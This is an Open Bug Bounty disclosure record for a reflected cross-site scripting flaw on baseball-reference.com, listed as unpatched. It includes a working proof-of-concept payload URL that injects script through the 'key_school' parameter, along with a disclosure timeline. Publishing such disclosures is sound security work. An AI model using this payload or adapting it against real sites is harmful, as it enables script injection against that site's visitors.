baseball-reference.com XSS vulnerability

2017-01-09T09:02:00
ID OBB:204890
Type openbugbounty
Reporter Random_Robbie
Modified 2017-02-06T10:15:00

Description

Vulnerable URL:
http://www.baseball-reference.com/schools/index.cgi?key_school=29fae2a4%27"--!>confirm`OPENBUGBOUNTY`%3C/script /K/>'
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 30.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 7371
VIP website status:| Yes
Check baseball-reference.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 9 January, 2017 09:02 GMT
Vulnerability existence verified and confirmed| 9 January, 2017 09:22 GMT
Generic security notifications sent to website owner| 9 January, 2017 09:22 GMT
Notification sent to subscribers (without technical details)| 9 January, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 6 February, 2017 10:15 GMT